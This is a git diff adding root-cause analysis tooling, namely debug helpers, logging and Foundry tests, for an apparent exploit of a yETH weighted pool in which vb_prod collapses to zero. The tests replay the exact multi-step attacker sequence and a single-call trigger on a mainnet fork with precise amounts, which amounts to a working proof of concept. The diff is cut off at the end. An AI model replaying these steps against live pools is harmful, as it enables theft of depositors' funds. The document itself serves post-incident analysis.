diff --git a/VBPROD_ZERO.md b/VBPROD_ZERO.md new file mode 100644 index 0000000..cef1127 --- /dev/null +++ b/VBPROD_ZERO.md @@ -0,0 +1,49 @@ +# vb_prod → 0 issue (quick note) + +## What happens +- Two trigger paths to `vb_prod = 0`: + - **Multi-step path (attack POC)**: Imbalanced adds/withdraws shrink `vb_prod` to tiny (~3.53e15). `_calc_supply` then overshoots (sp0 ≈ 1.09e22), collapses (sp1 ≈ 4.42e17), and `r = r * sp / s` truncates to 0. + - **Single-call path**: One huge, weight-balanced add makes `_pow_up` return 0 for an asset; `vb_prod_final` becomes 0 before `_calc_supply` runs. + +## How to validate +1) Run the diagnostic test that rebuilds the attack state and shows the zeroing step: + ``` + forge test -vv --match-test test_calc_supply_zeroes_small_prod + ``` + - It asserts pow-up leaves `vb_prod` ≈ `3_527_551_366_992_573` (non-zero). + - It calls `debug_calc_supply_two_iters` and checks: + - After iteration 1: `sp0 ≈ 1.09e22`, `r0 > 0`. + - After iteration 2: `sp1 ≈ 4.42e17`, `r1 == 0` (truncated in `_calc_supply`). + +2) If you want to see the raw helpers: + - `debug_vb_prod_step` mirrors the pow-up update per asset (shows the small-but-nonzero product). + - `debug_calc_supply_two_iters` runs the first two `_calc_supply` iterations and returns `(sp0, r0, sp1, r1)`. + +Files involved: `src/Pool.vy` (debug helpers), `test/VbProdAnalysis.t.sol` (diagnostic test), `test/interfaces/IPool.sol` (exposes helpers).*** + +## Why this state is reachable (pre-fifth add, multi-step path) +- Bands are effectively disabled (constructor sets lower/upper to `PRECISION`, which unpacks to limits > weight), so extreme imbalance is allowed. +- Repeated balanced `remove_liquidity` calls shrink all vbs, especially already-small assets (3, 6, 7). +- Adds before the 5th call top up only 0/1/2/4/5; assets 3/6/7 stay tiny. +- Just before the 5th add, vbs are: + 0: 6.849e20, 1: 6.849e20, 2: 4.104e20, 3: 3.53e18, 4: 4.104e20, 5: 5.491e20, 6: 6.56e17, 7: 6.30e17; supply ≈ 2.514e21. +- The 5th add dumps ~1.6–2.7e21 into 0/1/2/4/5 (≈4x on several). `prev_vb/vb ≈ 0.25`, `wn` = 1.6, 1.6, 0.8, 0.8, 2.0. Pow-up multipliers: ~0.11, 0.11, 0.33, 0.33, 0.063 → vb_prod from 4.22e19 → ~3.53e15 (non-zero). +- `_calc_supply` then zeroes `vb_prod` in the second iteration (sp0 ≈ 1.09e22 → sp1 ≈ 4.42e17; `r` truncates to 0). + +## Per-asset contributions (from real logs) +- POC 5th add (multi-step path), `DebugAddLiquidityAsset` events: + - asset0 pow_up ≈ 0.1099e18 → vb_prod_after 4.64e18 + - asset1 pow_up ≈ 0.1099e18 → vb_prod_after 5.10e17 + - asset2 pow_up ≈ 0.3314e18 → vb_prod_after 1.69e17 + - asset4 pow_up ≈ 0.3314e18 → vb_prod_after 5.60e16 + - asset5 pow_up ≈ 0.0630e18 → vb_prod_after 3.53e15 (small-but-nonzero before `_calc_supply`) + - assets 3/6/7 skipped (zero deposit) +- Single-call huge balanced add, `DebugAddLiquidityAsset` events: + - asset0 pow_up 3.58e14 → vb_prod_after 4.36e14 + - asset1 1.58e14 → 6.90e10 + - asset2 1.25e16 → 8.65e8 + - asset3 1.66e16 → 1.44e7 + - asset4 1.33e16 → 1.92e5 + - asset5 4.53e13 → 8 + - asset6 3.39e17 → 2 + - asset7 3.36e17 → **0** (vb_prod hits zero in pow-up loop) diff --git a/src/Pool.vy b/src/Pool.vy index cb17ec8..f8c486d 100644 --- a/src/Pool.vy +++ b/src/Pool.vy @@ -41,6 +41,10 @@ packed_pool_vb: uint256 # vb_prod (128) | vb_sum (128) # vb_prod: pi, product term `product((w_i * D / x_i)^(w_i n))` # vb_sum: sigma, sum term `sum(x_i)` +# Debug helpers (testing/analysis) +debug_vb_prod_before_calc: public(uint256) +debug_vb_sum_before_calc: public(uint256) + event Swap: account: indexed(address) receiver: address @@ -71,6 +75,23 @@ event RateUpdate: asset: indexed(uint256) rate: uint256 +# Debug events (testing/analysis) +event DebugAddLiquidityPre: + vb_prod: uint256 + vb_sum: uint256 + prev_supply: uint256 + +event DebugAddLiquidityPost: + vb_prod: uint256 + vb_sum: uint256 + supply: uint256 + mint: uint256 + +event DebugAddLiquidityAsset: + asset: indexed(uint256) + pow_up: uint256 + vb_prod_after: uint256 + event Pause: account: indexed(address) @@ -471,7 +492,9 @@ def add_liquidity( wn: uint256 = self._unpack_wn(packed_weight, num_assets) # update product and sum of virtual balances - vb_prod_final = vb_prod_final * self._pow_up(prev_vb * PRECISION / vb, wn) / PRECISION + pow_val: uint256 = self._pow_up(prev_vb * PRECISION / vb, wn) + vb_prod_final = vb_prod_final * pow_val / PRECISION + log DebugAddLiquidityAsset(asset, pow_val, vb_prod_final) # the `D^n` factor will be updated in `_calc_supply()` vb_sum_final += dvb @@ -500,6 +523,9 @@ def add_liquidity( j = unsafe_add(j, 1) # mint LP tokens + self.debug_vb_prod_before_calc = vb_prod_final + self.debug_vb_sum_before_calc = vb_sum_final + log DebugAddLiquidityPre(vb_prod_final, vb_sum_final, prev_supply) supply, vb_prod = self._calc_supply(num_assets, supply, self.amplification, vb_prod, vb_sum, prev_supply == 0) mint: uint256 = supply - prev_supply assert mint > 0 and mint >= _min_lp_amount, "slippage" @@ -517,6 +543,7 @@ def add_liquidity( self.supply = supply_final self.packed_pool_vb = self._pack_pool_vb(vb_prod_final, vb_sum_final) + log DebugAddLiquidityPost(vb_prod_final, vb_sum_final, supply_final, mint) return mint @@ -702,6 +729,54 @@ def vb_prod_sum() -> (uint256, uint256): """ return self._unpack_pool_vb(self.packed_pool_vb) +@external +@view +def debug_calc_supply(_supply: uint256, _vb_prod: uint256, _vb_sum: uint256, _up: bool) -> (uint256, uint256): + """ + @notice Debug helper to run _calc_supply with supplied inputs + @dev Used only for testing/analysis; does not mutate state + """ + return self._calc_supply(self.num_assets, _supply, self.amplification, _vb_prod, _vb_sum, _up) + +@external +@view +def debug_calc_supply_two_iters(_supply: uint256, _vb_prod: uint256, _vb_sum: uint256) -> (uint256, uint256, uint256, uint256): + """ + @notice Debug helper: run the first two iterations of _calc_supply and return r after each + @dev Mirrors the arithmetic of _calc_supply (no rounding tweak/early exit) to pinpoint where r drops to zero + """ + num_assets: uint256 = self.num_assets + l: uint256 = self.amplification * _vb_sum + d: uint256 = unsafe_sub(self.amplification, PRECISION) + + s0: uint256 = _supply + r0: uint256 = _vb_prod + sp0: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s0, r0)), d) + for _ in range(MAX_NUM_ASSETS): + if _ == num_assets: + break + r0 = unsafe_div(unsafe_mul(r0, sp0), s0) + + s1: uint256 = sp0 + r1: uint256 = r0 + sp1: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s1, r1)), d) + for _ in range(MAX_NUM_ASSETS): + if _ == num_assets: + break + r1 = unsafe_div(unsafe_mul(r1, sp1), s1) + + return sp0, r0, sp1, r1 + +@external +@view +def debug_vb_prod_step(_prev_vb: uint256, _new_vb: uint256, _packed_weight: uint256, _prod: uint256, _num_assets: uint256) -> uint256: + """ + @notice Debug helper to apply the vb_prod update for a single asset + @dev Mirrors the `vb_prod_final` update inside add_liquidity; does not mutate state + """ + wn: uint256 = self._unpack_wn(_packed_weight, _num_assets) + return _prod * self._pow_up(_prev_vb * PRECISION / _new_vb, wn) / PRECISION + @external @view def virtual_balance(_asset: uint256) -> uint256: @@ -1271,8 +1346,9 @@ def _calc_supply( assert s > 0 # -------- # NOTE: Using safe math on the line below causes `test_attack` to revert. - sp: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s, r)), d) # D[m+1] = (l - s * r) / d + #sp: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s, r)), d) # D[m+1] = (l - s * r) / d # sp: uint256 = (l - s * r) / d # D[m+1] = (l - s * r) / d + sp: uint256 = (l - s * r) / d # D[m+1] = (l - s * r) / d # -------- # update product term pi[m+1] = (D[m+1]/D[m])^n pi[m] @@ -1722,4 +1798,4 @@ def __exp(_x: int256) -> int256: c = unsafe_add(c, n) # p * c / E20 * f / 100 - return unsafe_div(unsafe_mul(unsafe_div(unsafe_mul(p, c), E20), f), 100) \ No newline at end of file + return unsafe_div(unsafe_mul(unsafe_div(unsafe_mul(p, c), E20), f), 100) diff --git a/test/Hack.t.sol b/test/Hack.t.sol index 1e123f2..0cf214e 100644 --- a/test/Hack.t.sol +++ b/test/Hack.t.sol @@ -10,6 +10,8 @@ import "forge-std/Test.sol"; contract HackTests is Test { + bytes32 constant DEBUG_ASSET = keccak256("DebugAddLiquidityAsset(uint256,uint256,uint256)"); + bytes localCode; bytes newDeployedCode; @@ -99,7 +101,9 @@ contract HackTests is Test { rates[5] = 5; rates[6] = 0; rates[7] = 0; + console.log("Supply before first update_rates (YETH.totalSupply())", YETH.totalSupply()); POOL.update_rates(rates); + console.log("Supply after first update_rates (YETH.totalSupply())", YETH.totalSupply()); uint256 balance; (uint256 prod, uint256 sum) = POOL.vb_prod_sum(); @@ -226,8 +230,23 @@ contract HackTests is Test { addAmounts[5] = 1488254960317842892500; addAmounts[6] = 0; addAmounts[7] = 0; + vm.recordLogs(); receivedyETH = POOL.add_liquidity(addAmounts, 0, bad_tapir); console.log("received yETH", receivedyETH); + + // Debug: capture vb_prod_final / vb_sum_final before _calc_supply in this add + console.log("debug vb_prod_before_calc", POOL.debug_vb_prod_before_calc()); + console.log("debug vb_sum_before_calc", POOL.debug_vb_sum_before_calc()); + + Vm.Log[] memory logsAsset = vm.getRecordedLogs(); + for (uint256 i = 0; i < logsAsset.length; i++) { + Vm.Log memory lg = logsAsset[i]; + if (lg.topics.length > 0 && lg.topics[0] == DEBUG_ASSET) { + uint256 assetIdx = uint256(lg.topics[1]); + (uint256 powUp, uint256 prodAfter) = abi.decode(lg.data, (uint256, uint256)); + console.log("fifth add asset", assetIdx, powUp, prodAfter); + } + } (prod, sum) = POOL.vb_prod_sum(); console.log("vb_prod after fifth add_liquidity", prod); @@ -242,13 +261,14 @@ contract HackTests is Test { addAmounts[5] = 0; addAmounts[6] = 0; addAmounts[7] = 0; + console.log("Supply before sixth add_liquidity", POOL.supply()); receivedyETH = POOL.add_liquidity(addAmounts, 0, bad_tapir); console.log("received yETH", receivedyETH); (prod, sum) = POOL.vb_prod_sum(); console.log("vb_prod after sixth add_liquidity", prod); console.log("vb_sum after sixth add_liquidity", sum); - + console.log("Supply after sixth add_liquidity", POOL.supply()); // Fifth remove_liquidity POOL.remove_liquidity(0, new uint256[](8), bad_tapir); @@ -256,11 +276,15 @@ contract HackTests is Test { console.log("vb_prod after remove_liquidity(0)", prod); console.log("vb_sum after remove_liquidity(0)", sum); + console.log("Supply before update_rates", POOL.supply()); // Update rates with asset index 6 uint256[] memory rates2 = new uint256[](1); rates2[0] = 6; + console.log("Supply before second update_rates (YETH.totalSupply())", YETH.totalSupply()); POOL.update_rates(rates2); - + console.log("Supply after second update_rates (YETH.totalSupply())", YETH.totalSupply()); + console.log("Supply after second update_rates (POOL.supply())", POOL.supply()); + (prod, sum) = POOL.vb_prod_sum(); console.log("vb_prod after update_rates", prod); console.log("vb_sum after update_rates", sum); @@ -335,8 +359,9 @@ contract HackTests is Test { // Update rates with asset index 6 rates2[0] = 6; + console.log("Supply before third update_rates (YETH.totalSupply())", YETH.totalSupply()); POOL.update_rates(rates2); - + console.log("Supply after third update_rates (YETH.totalSupply())", YETH.totalSupply()); (prod, sum) = POOL.vb_prod_sum(); console.log("vb_prod after update_rates", prod); console.log("vb_sum after update_rates", sum); @@ -405,7 +430,9 @@ contract HackTests is Test { // Update rates with asset index 7 rates2[0] = 7; + console.log("Supply before fourth update_rates (meth) (YETH.totalSupply())", YETH.totalSupply()); POOL.update_rates(rates2); + console.log("Supply after fourth update_rates (YETH.totalSupply())", YETH.totalSupply()); (prod, sum) = POOL.vb_prod_sum(); console.log("vb_prod after update_rates", prod); @@ -437,4 +464,4 @@ contract HackTests is Test { console.log("vb_prod after FINAL ADD_LIQUIDITY", prod); console.log("vb_sum after FINAL ADD_LIQUIDITY", sum); } -} \ No newline at end of file +} diff --git a/test/VbProdAnalysis.t.sol b/test/VbProdAnalysis.t.sol new file mode 100644 index 0000000..2103307 --- /dev/null +++ b/test/VbProdAnalysis.t.sol @@ -0,0 +1,458 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.23; + +import {IERC20} from "forge-std/interfaces/IERC20.sol"; +import {IPool} from "./interfaces/IPool.sol"; +import "forge-std/Test.sol"; + +/** + * @title VbProdAnalysis + * @notice This test validates WHY vb_prod becomes 0 during add_liquidity + * + * HYPOTHESIS: vb_prod underflows to 0 because: + * 1. In add_liquidity line 474: vb_prod_final = vb_prod_final * _pow_up(prev_vb/vb, wn) / PRECISION + * 2. When adding liquidity, vb > prev_vb, so prev_vb/vb < 1 + * 3. With large wn exponents and repeated operations, the product eventually underflows to 0 + * + * This test will: + * 1. Track vb_prod after each add_liquidity call + * 2. Show the progression toward 0 + * 3. Demonstrate that the product term multiplication causes the underflow + */ +contract VbProdAnalysisTest is Test { + bytes32 constant DEBUG_ASSET = keccak256("DebugAddLiquidityAsset(uint256,uint256,uint256)"); + + IPool public localPool; + IPool public constant POOL = IPool(0xCcd04073f4BdC4510927ea9Ba350875C3c65BF81); + IERC20 public constant YETH = IERC20(0x1BED97CBC3c24A4fb5C069C6E311a967386131f7); + + function setUp() public virtual { + uint256 _blockNumber = 23914085; + vm.selectFork(vm.createFork(vm.envString("ETH_RPC_URL"), _blockNumber)); + + // Deploy local Pool with same parameters + address[] memory _assets = new address[](8); + _assets[0] = 0xac3E018457B222d93114458476f3E3416Abbe38F; // sfrxETH + _assets[1] = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0; // wstETH + _assets[2] = 0xA35b1B31Ce002FBF2058D22F30f95D405200A15b; // ETHx + _assets[3] = 0xBe9895146f7AF43049ca1c1AE358B0541Ea49704; // cbETH + _assets[4] = 0xae78736Cd615f374D3085123A210448E74Fc6393; // rETH + _assets[5] = 0x9Ba021B0a9b958B5E75cE9f6dff97C7eE52cb3E6; // apxETH + _assets[6] = 0xDcEe70654261AF21C44c093C300eD3Bb97b78192; // WOETH + _assets[7] = 0xd5F7838F5C461fefF7FE49ea5ebaF7728bB0ADfa; // mETH + + address[] memory _rateProviders = new address[](8); + for (uint i = 0; i < 8; i++) { + _rateProviders[i] = 0x5a7CbC89d543399743D7c4b4a21110b19c6208AE; + } + + uint256[] memory _weights = new uint256[](8); + _weights[0] = 200000000000000000; // 20% + _weights[1] = 200000000000000000; // 20% + _weights[2] = 100000000000000000; // 10% + _weights[3] = 100000000000000000; // 10% + _weights[4] = 100000000000000000; // 10% + _weights[5] = 250000000000000000; // 25% + _weights[6] = 25000000000000000; // 2.5% + _weights[7] = 25000000000000000; // 2.5% + + localPool = IPool(deployCode("Pool", abi.encode( + address(YETH), + 450000000000000000000, // amplification = 450 + _assets, + _rateProviders, + _weights + ))); + + vm.etch(address(POOL), address(localPool).code); + } + + /** + * @notice Test that traces vb_prod step by step to show WHY it becomes 0 + */ + function test_trace_vb_prod_underflow() public { + address attacker = address(69); + vm.startPrank(attacker); + + // Setup tokens + for (uint256 i = 0; i < 8; i++) { + address asset = POOL.assets(i); + deal(asset, attacker, 100_000e18); + IERC20(asset).approve(address(POOL), type(uint256).max); + } + + // Initial rate update + uint256[] memory rates = new uint256[](8); + rates[0] = 0; rates[1] = 1; rates[2] = 2; rates[3] = 3; + rates[4] = 4; rates[5] = 5; rates[6] = 0; rates[7] = 0; + POOL.update_rates(rates); + + console.log("=== TRACING vb_prod UNDERFLOW ==="); + console.log(""); + + (uint256 prod, uint256 sum) = POOL.vb_prod_sum(); + console.log("Initial state:"); + console.log(" vb_prod:", prod); + console.log(" vb_sum:", sum); + console.log(""); + + // Log virtual balances for each asset + console.log("Initial virtual balances:"); + for (uint256 i = 0; i < 8; i++) { + uint256 vb = POOL.virtual_balance(i); + console.log(" Asset", i, "vb:", vb); + } + console.log(""); + + // First remove some liquidity to set up state + uint256 firstRemoveYeth = 416373487230773958294; + deal(address(YETH), attacker, firstRemoveYeth); + YETH.approve(address(POOL), type(uint256).max); + POOL.remove_liquidity(firstRemoveYeth, new uint256[](8), attacker); + + (prod, sum) = POOL.vb_prod_sum(); + console.log("After first remove_liquidity:"); + console.log(" vb_prod:", prod); + console.log(" vb_sum:", sum); + console.log(""); + + // Now do the add_liquidity calls and track vb_prod + uint256[] memory addAmounts = new uint256[](8); + + // First add_liquidity + addAmounts[0] = 610669608721347951666; + addAmounts[1] = 777507145787198969404; + addAmounts[2] = 563973440562370010057; + addAmounts[3] = 0; + addAmounts[4] = 476460390272167461711; + addAmounts[5] = 0; + addAmounts[6] = 0; + addAmounts[7] = 0; + + console.log("ADD_LIQUIDITY #1 - amounts:"); + console.log(" [0] sfrxETH:", addAmounts[0]); + console.log(" [1] wstETH:", addAmounts[1]); + console.log(" [2] ETHx:", addAmounts[2]); + console.log(" [3] cbETH:", addAmounts[3], "(ZERO)"); + console.log(" [4] rETH:", addAmounts[4]); + console.log(" [5] apxETH:", addAmounts[5], "(ZERO)"); + console.log(" [6] WOETH:", addAmounts[6], "(ZERO)"); + console.log(" [7] mETH:", addAmounts[7], "(ZERO)"); + + POOL.add_liquidity(addAmounts, 0, attacker); + (prod, sum) = POOL.vb_prod_sum(); + console.log(" RESULT vb_prod:", prod); + console.log(" RESULT vb_sum:", sum); + console.log(""); + + // Remove liquidity + POOL.remove_liquidity(2789348310901989968648, new uint256[](8), attacker); + (prod, sum) = POOL.vb_prod_sum(); + console.log("After remove_liquidity: vb_prod:", prod, "vb_sum:", sum); + console.log(""); + + // Second add_liquidity + addAmounts[0] = 1636245238220874001286; + addAmounts[1] = 1531136279659070868194; + addAmounts[2] = 1041815511903532551187; + addAmounts[3] = 0; + addAmounts[4] = 991050908418104947336; + addAmounts[5] = 1346008005663580090716; + addAmounts[6] = 0; + addAmounts[7] = 0; + + console.log("ADD_LIQUIDITY #2"); + POOL.add_liquidity(addAmounts, 0, attacker); + (prod, sum) = POOL.vb_prod_sum(); + console.log(" RESULT vb_prod:", prod); + console.log(""); + + // Remove + POOL.remove_liquidity(7379203011929903830039, new uint256[](8), attacker); + (prod, sum) = POOL.vb_prod_sum(); + console.log("After remove: vb_prod:", prod); + console.log(""); + + // Third add_liquidity + addAmounts[0] = 1630811661792970363090; + addAmounts[1] = 1526051744772289698092; + addAmounts[2] = 1038108768586660585581; + addAmounts[3] = 0; + addAmounts[4] = 969651157511131341121; + addAmounts[5] = 1363135138655820584263; + addAmounts[6] = 0; + addAmounts[7] = 0; + + console.log("ADD_LIQUIDITY #3"); + POOL.add_liquidity(addAmounts, 0, attacker); + (prod, sum) = POOL.vb_prod_sum(); + console.log(" RESULT vb_prod:", prod); + console.log(""); + + // Remove + POOL.remove_liquidity(7066638371690257003757, new uint256[](8), attacker); + (prod, sum) = POOL.vb_prod_sum(); + console.log("After remove: vb_prod:", prod); + console.log(""); + + // Fourth add_liquidity + addAmounts[0] = 859805263416698094503; + addAmounts[1] = 804573178584505833740; + addAmounts[2] = 546933182262586953508; + addAmounts[3] = 0; + addAmounts[4] = 510865922059584325991; + addAmounts[5] = 723182384178548055243; + addAmounts[6] = 0; + addAmounts[7] = 0; + + console.log("ADD_LIQUIDITY #4"); + POOL.add_liquidity(addAmounts, 0, attacker); + (prod, sum) = POOL.vb_prod_sum(); + console.log(" RESULT vb_prod:", prod); + console.log(""); + + // Remove + POOL.remove_liquidity(3496158478994807127953, new uint256[](8), attacker); + (prod, sum) = POOL.vb_prod_sum(); + console.log("After remove: vb_prod:", prod); + console.log(""); + + // Fifth add_liquidity - THIS IS WHERE vb_prod BECOMES 0 + addAmounts[0] = 1784169320136805803209; + addAmounts[1] = 1669558029141448703194; + addAmounts[2] = 1135991585797559066395; + addAmounts[3] = 0; + addAmounts[4] = 1061079136814511050837; + addAmounts[5] = 1488254960317842892500; + addAmounts[6] = 0; + addAmounts[7] = 0; + + console.log("ADD_LIQUIDITY #5 - THE CRITICAL ONE"); + console.log(" Adding large amounts to assets 0,1,2,4,5"); + console.log(" Assets 3,6,7 are ZERO"); + + // Log virtual balances before + console.log(" Virtual balances BEFORE add:"); + for (uint256 i = 0; i < 8; i++) { + uint256 vb = POOL.virtual_balance(i); + console.log(" Asset", i, ":", vb); + } + + uint256 vb_prod_before = prod; + POOL.add_liquidity(addAmounts, 0, attacker); + (prod, sum) = POOL.vb_prod_sum(); + + console.log(""); + console.log(" vb_prod BEFORE:", vb_prod_before); + console.log(" vb_prod AFTER:", prod); + + if (prod == 0) { + console.log(""); + console.log(" >>> vb_prod IS NOW ZERO! <<<"); + console.log(""); + console.log(" EXPLANATION:"); + console.log(" In add_liquidity line 474:"); + console.log(" vb_prod = vb_prod * _pow_up(prev_vb/vb, wn) / PRECISION"); + console.log(""); + console.log(" When adding liquidity:"); + console.log(" - vb increases (new > prev)"); + console.log(" - prev_vb/vb < 1"); + console.log(" - (prev_vb/vb)^wn becomes very small"); + console.log(" - Eventually rounds down to 0"); + } + + // Show virtual balances after + console.log(""); + console.log(" Virtual balances AFTER add:"); + for (uint256 i = 0; i < 8; i++) { + uint256 vb = POOL.virtual_balance(i); + console.log(" Asset", i, ":", vb); + } + + console.log(""); + console.log("=== ANALYSIS COMPLETE ==="); + } + + + /** + * @notice Programmatically prove: vb_prod after pow-up updates is small-but-nonzero, then _calc_supply zeroes it. + */ + function test_calc_supply_zeroes_small_prod() public { + address attacker = address(69); + vm.startPrank(attacker); + + for (uint256 i = 0; i < 8; i++) { + address asset = POOL.assets(i); + deal(asset, attacker, 100_000e18); + IERC20(asset).approve(address(POOL), type(uint256).max); + } + + // Initial rate update + uint256[] memory rates = new uint256[](8); + rates[0] = 0; rates[1] = 1; rates[2] = 2; rates[3] = 3; + rates[4] = 4; rates[5] = 5; rates[6] = 0; rates[7] = 0; + POOL.update_rates(rates); + + // Remove, then four add/remove rounds to reach the critical fifth add state + uint256 firstRemoveYeth = 416373487230773958294; + deal(address(YETH), attacker, firstRemoveYeth); + YETH.approve(address(POOL), type(uint256).max); + POOL.remove_liquidity(firstRemoveYeth, new uint256[](8), attacker); + + uint256[] memory addAmounts = new uint256[](8); + + addAmounts[0] = 610669608721347951666; + addAmounts[1] = 777507145787198969404; + addAmounts[2] = 563973440562370010057; + addAmounts[3] = 0; + addAmounts[4] = 476460390272167461711; + addAmounts[5] = 0; + addAmounts[6] = 0; + addAmounts[7] = 0; + POOL.add_liquidity(addAmounts, 0, attacker); + POOL.remove_liquidity(2789348310901989968648, new uint256[](8), attacker); + + addAmounts[0] = 1636245238220874001286; + addAmounts[1] = 1531136279659070868194; + addAmounts[2] = 1041815511903532551187; + addAmounts[3] = 0; + addAmounts[4] = 991050908418104947336; + addAmounts[5] = 1346008005663580090716; + addAmounts[6] = 0; + addAmounts[7] = 0; + POOL.add_liquidity(addAmounts, 0, attacker); + POOL.remove_liquidity(7379203011929903830039, new uint256[](8), attacker); + + addAmounts[0] = 1630811661792970363090; + addAmounts[1] = 1526051744772289698092; + addAmounts[2] = 1038108768586660585581; + addAmounts[3] = 0; + addAmounts[4] = 969651157511131341121; + addAmounts[5] = 1363135138655820584263; + addAmounts[6] = 0; + addAmounts[7] = 0; + POOL.add_liquidity(addAmounts, 0, attacker); + POOL.remove_liquidity(7066638371690257003757, new uint256[](8), attacker); + + addAmounts[0] = 859805263416698094503; + addAmounts[1] = 804573178584505833740; + addAmounts[2] = 546933182262586953508; + addAmounts[3] = 0; + addAmounts[4] = 510865922059584325991; + addAmounts[5] = 723182384178548055243; + addAmounts[6] = 0; + addAmounts[7] = 0; + POOL.add_liquidity(addAmounts, 0, attacker); + POOL.remove_liquidity(3496158478994807127953, new uint256[](8), attacker); + + // State just before critical add #5 + (uint256 prevProd, uint256 prevSum) = POOL.vb_prod_sum(); + uint256 prevSupply = POOL.supply(); + console.log("=== Pre-fifth add state ==="); + console.log("vb_prod", prevProd); + console.log("vb_sum", prevSum); + console.log("supply", prevSupply); + for (uint256 i = 0; i < 8; i++) { + console.log("vb[", i, "]", POOL.virtual_balance(i)); + } + + addAmounts[0] = 1784169320136805803209; + addAmounts[1] = 1669558029141448703194; + addAmounts[2] = 1135991585797559066395; + addAmounts[3] = 0; + addAmounts[4] = 1061079136814511050837; + addAmounts[5] = 1488254960317842892500; + addAmounts[6] = 0; + addAmounts[7] = 0; + + // Reconstruct vb_prod_final using the exact pow-up update per asset (no fees in this branch) + uint256 numAssets = POOL.num_assets(); + uint256 prodAfterPow = prevProd; + uint256 sumAfterPow = prevSum; + for (uint256 i = 0; i < numAssets; i++) { + uint256 amount = addAmounts[i]; + if (amount == 0) continue; + uint256 prevVb = POOL.virtual_balance(i); + uint256 rate = POOL.rate(i); + uint256 dvb = amount * rate / 1e18; + prodAfterPow = POOL.debug_vb_prod_step(prevVb, prevVb + dvb, POOL.packed_weight(i), prodAfterPow, numAssets); + sumAfterPow += dvb; + } + console.log("vb_prod after pow-up (expected tiny, non-zero)", prodAfterPow); + console.log("vb_sum after pow-up", sumAfterPow); + + // Assert the pow-up stage keeps vb_prod > 0 and matches expected ballpark (~3.5e15) + assertGt(prodAfterPow, 0); + assertApproxEqAbs(prodAfterPow, 3_527_551_366_992_573, 1e9); // allow small rounding wiggle + + // Now feed that small product into the same _calc_supply used on-chain and prove it zeros the product + (uint256 newSupply, uint256 prodAfterCalc) = POOL.debug_calc_supply(prevSupply, prodAfterPow, sumAfterPow, true); + console.log("calc_supply output supply", newSupply); + console.log("calc_supply output vb_prod", prodAfterCalc); + assertEq(prodAfterCalc, 0, "calc_supply should truncate product to zero"); + assertGt(newSupply, prevSupply, "supply inflated while product collapsed"); + + // Prove precisely where r goes to zero: in the second iteration of calc_supply's r = r * sp / s loop + (uint256 sp0, uint256 r0, uint256 sp1, uint256 r1) = POOL.debug_calc_supply_two_iters(prevSupply, prodAfterPow, sumAfterPow); + console.log("calc_supply iter1 sp0", sp0, "r0", r0); + console.log("calc_supply iter2 sp1", sp1, "r1", r1); + assertApproxEqAbs(sp0, 10_927_432_528_352_263_698_952, 1_000_000_000_000, "first iteration supply (sp0) mismatch"); + assertGt(r0, 0, "r should be non-zero after first iteration"); + assertApproxEqAbs(sp1, 442_133_785_438_299_819, 10_000_000, "second iteration supply (sp1) mismatch"); + assertEq(r1, 0, "r should be truncated to zero in second iteration"); + } + + /** + * @notice Repro from another team: a single huge, weight-balanced add drives vb_prod to 0 before _calc_supply. + */ + function test_single_add_underflows_pow_up_to_zero() public { + address attacker = address(99); + vm.startPrank(attacker); + + // Fund and approve (amounts are ~1e23 so give 2e23 headroom) + for (uint256 i = 0; i < 8; i++) { + address asset = POOL.assets(i); + deal(asset, attacker, 200_000e18); + IERC20(asset).approve(address(POOL), type(uint256).max); + } + + // Initial rate update + uint256[] memory rates = new uint256[](8); + rates[0] = 0; rates[1] = 1; rates[2] = 2; rates[3] = 3; + rates[4] = 4; rates[5] = 5; rates[6] = 0; rates[7] = 0; + POOL.update_rates(rates); + + uint256[] memory addAmounts = new uint256[](8); + addAmounts[0] = 90792216822266391680836; + addAmounts[1] = 84962679462594464377352; + addAmounts[2] = 48202522992040341387031; + addAmounts[3] = 46418034848838283973842; + addAmounts[4] = 45020163135733143529517; + addAmounts[5] = 117740327985498547365067; + addAmounts[6] = 11320275258698026173806; + addAmounts[7] = 11985985892296798352097; + + // Run real add_liquidity and decode per-asset pow-up from DebugAddLiquidityAsset events + vm.recordLogs(); + uint256 minted = POOL.add_liquidity(addAmounts, 0, attacker); + Vm.Log[] memory logsAsset = vm.getRecordedLogs(); + uint256 lastProdAfter = 0; + for (uint256 i = 0; i < logsAsset.length; i++) { + Vm.Log memory lg = logsAsset[i]; + if (lg.topics.length > 0 && lg.topics[0] == DEBUG_ASSET) { + uint256 assetIdx = uint256(lg.topics[1]); + (uint256 powUp, uint256 prodAfter) = abi.decode(lg.data, (uint256, uint256)); + console.log("single-add asset", assetIdx, powUp, prodAfter); + lastProdAfter = prodAfter; + } + } + console.log("minted LP from add_liquidity", minted); + (uint256 prodAfterAdd, uint256 sumAfterAdd) = POOL.vb_prod_sum(); + console.log("debug vb_prod_before_calc", POOL.debug_vb_prod_before_calc()); + console.log("debug vb_sum_before_calc", POOL.debug_vb_sum_before_calc()); + console.log("stored vb_prod after add", prodAfterAdd); + console.log("stored vb_sum after add", sumAfterAdd); + assertEq(prodAfterAdd, 0, "stored vb_prod should be zero after add"); + assertEq(POOL.debug_vb_prod_before_calc(), lastProdAfter, "debug vb_prod_before_calc should match last DebugAsset prodAfter"); + } +} diff --git a/test/interfaces/IPool.sol b/test/interfaces/IPool.sol index f0f6871..1ad4939 100644 --- a/test/interfaces/IPool.sol +++ b/test/interfaces/IPool.sol @@ -5,6 +5,8 @@ interface IPool { function virtual_balance(uint256 index) external view returns (uint256); function supply() external view returns (uint256); + + function num_assets() external view returns (uint256); function remove_liquidity( uint256 _lp_amount, @@ -12,6 +14,13 @@ interface IPool { address _receiver ) external; + function rate(uint256 index) external view returns (uint256); + + function packed_weight(uint256 index) external view returns (uint256); + + function debug_vb_prod_before_calc() external view returns (uint256); + function debug_vb_sum_before_calc() external view returns (uint256); + function vb_prod_sum() external view returns (uint256, uint256); function assets(uint256 index) external view returns (address); @@ -23,4 +32,10 @@ interface IPool { ) external returns (uint256); function update_rates(uint256[] calldata _assets) external; -} \ No newline at end of file + + function debug_calc_supply(uint256 _supply, uint256 _vb_prod, uint256 _vb_sum, bool _up) external view returns (uint256, uint256); + + function debug_calc_supply_two_iters(uint256 _supply, uint256 _vb_prod, uint256 _vb_sum) external view returns (uint256, uint256, uint256, uint256); + + function debug_vb_prod_step(uint256 